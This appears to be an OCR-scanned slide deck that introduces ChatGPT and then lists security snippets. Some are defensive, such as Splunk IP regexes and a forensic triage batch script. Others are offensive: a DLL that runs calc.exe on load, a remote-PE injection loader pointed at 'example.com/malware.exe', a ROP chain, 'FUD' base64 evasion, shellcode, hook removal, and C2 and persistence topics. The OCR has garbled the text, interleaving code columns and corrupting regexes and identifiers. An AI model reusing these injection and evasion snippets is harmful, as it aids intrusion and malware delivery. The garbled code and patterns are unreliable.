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What is ChatGPT

* ChatGPT is a chatbot launched by OpenAl in November 2022. It is
built on top of OpenAl's GPT-3.5 family of large language models, and
is fine-tuned with both supervised and reinforcement learning

techniques.

e ChatGPT was launched as a prototype on November 30, 2022, and
quickly garnered attention for its detailed responses and articulate
answers across many domains of knowledge. Its uneven factual
accuracy was identified as a significant drawback.


https://chat.openai.com/chat
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Useful Volatillity Commands
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Configure sysmon with Snort




Regular Expression to Filter IP in Splunk

(?:(7:25[@-5]|2[@-a][@-9]|[@1]7[0-2][0-2]7) . }{2}(?: 25[@-5] | 2[@-4][@-9] | [01] 7 [o-
9][8-91?)

index=* (?:{?:25[0-5]|2[@-4][8-9]|[21]?[2-21[e-9]17)\.){3}(?: 25[@-5] |2[@-4][@-9]|
[e1]2[e-9][8-2]?)




Regular Expression to Filter URL in Splunk




Create Script .bat to Triage Forensic

f@echo off
echo Collecting time...

for ff "tokens=2-4 delims=/ " %Ra in ('date /t') do (set mydate=REc-XX%a-%%b)
for ff "tokens=1-3 delims=/: " %¥a in ("time /t') do (set mytime=%%a:%Xb:%%c)

echo ¥mydate® ¥mytime¥ > time.txt
echo Collecting registry keys...

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run /s > keys.txt

echo Collecting IP addresses...

ipconfig » ips.txt

echo Collection complete.




Incident Investigation and Response book
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Process of Adversary Emulation




Create Adversary Emulation using Caldera




Command and Control Tiers Example




Create Malleable C2 in Cobalt Strike




DLL example run Calc.exe in C++

#include <windows.h>

#include <stdio.h>

BOOL WINAPI D11Main{HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
ff Run calc.exe when the DLL is loaded
WinExec("calc.exe”, SW_SHOW);
breaks
case DLL_THREAD ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:

break;

}

return TRUE;




Loading Fileless Remote PE from URI to
memory example

e+ g ey
if ('WriteProcessMemory({pi.hProcess, remoteBuffer, localBuffer, 4825,
&bytesWritten))
{
printf{"Error: Could not write to memory in the new processwn™};

return 1;

// Create a thread in the new process to execute the fileless remote PE
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, @,

(LPTHREAD START ROUTINE)remoteBuffer, NULL, 9, NULL);
if (!hThread)

{
printf{"Error: Could not create thread in the new processin™);
return 1;
b
#include <windows.h> // Resume the new process
#include <=tdio.h> if (!ResumeThread(pi.hThread))
1
printf{"Error: Could not resume the new process\n");
int nai"{) return 1;
{ }
/! URI of the fileless remote PE
return 8;

const char® url = "https://example.com/malware.exe”;

{/ Create a PROCESS INFORMATION structure to hold the process handle and

identifier

PROCESS_TNFORMATION pi;




Building Simple ROP Chains

ff A function to execute the ROP chain

vold ExecuteRopChain()

i
// Allocate a buffer to hold the ROP chain
char* buffer = new char[RopChain.size() * 4];
f/ Copy the addresses of each gadget into the buffer
for {int 1 = @; i < RopChain.size(); i++)
{
#include <vector> . .
#include <iostream> G’adEEt gﬂ(lget = HDPChaln[l];
*((void**)(buffer + (1 * 4))) = gadget.address;
// A gadget is a small snippet of code that ends in a return instruction
struct Gadget ]-
{
void* address;
) int size; f/ Cast the buffer to a function pointer and call it to execute the ROP
chain
// The ROP chain is a list of gadgets that will be executed in order . . . . *
std::vector<Gadget> RopChain; ‘u"D.'I.d [ rﬂlﬁ:hﬂm}c} = ('U"Dld( }[]]huﬁer;
ropChain(};
// A function to add a gadget to the ROP chain P (}J
void AddGadget(void* address, int size) ]-

{
Gadget gadget = { address, size };

RopChain.push_back({gadget); int |'|'|ﬂ_'i_n { }

{

H

// A function to execute the ROP chain

f/ Add some gadgets to the ROP chain
AddGadget{{void*)@x12345678, 5);

void ExecuteRopChain()

AddGadget{{void*)8x87654321, 7);



Simple FUD files enconding

import basegd

# The original file content

original_content = b"This is the original file content

# Encode the original content using base&4

encoded content = basegd4.bbdencode(original_content)

# Write the encoded content to a file
with open("fud.txt", "w") as f:
f.write{encoded_content.decode())




Halosgate Techniques




Simple shellcode that runs ipconfig

5 Push the address of the command string onto the stack

3

push ecx

3 Push the wvalue @ onto the stack

push eax

3 Push the value éx4 onto the stack

; Create the ipconfig command string push eax

command db ‘ipconfig’, @ mov al, 4
push eax
;3 The main function of the shellcode

start:
- 5 Push the address of the command string onte the stack

; Load the command string into the ECX register ?

ush ecx
mov ecx, command P

; Push the value ® onto the stack 3 Call the CreateProcessA function to execute the command

xor eax, eax call [CreateProcessA]
push eax

; The CreateProcessA function in the Windows API

3 Push the address of the command string onto the stack
CreateProcessA dd ex7CE0e000

push ecx

;3 Push the value @ onto the stack

push eax

;3 Push the value 8x4 onto the stack
push eax
mov al, 4

push eax




DLL Unhooking using Windows AP

int main{}

1

// Set the handle to the hook that should be unhooked
hHook = (HHOOK)@x12345678;

// Call the UnhookWindowsHookEx function to remove the hook
UnhookhindowsHookEx (hHook) ;

return @;

#include <windows.h>

/f The handle to the hook that should be unhooked
HHOOK hHook;

// The UnhookProc function is the custom function that was used to hook the DLL
function
LRESULT UnhookProc{int nCode, WPARAM wParam, LPARAM 1Param)
{
// Remove the hook
UnhookkindowsHookEx{hHook) ;

// Return the original behavior of the hooked function
return CallNextHookEx(hHook, nCode, wParam, lParam);




Persistence Techniques using Lolbas
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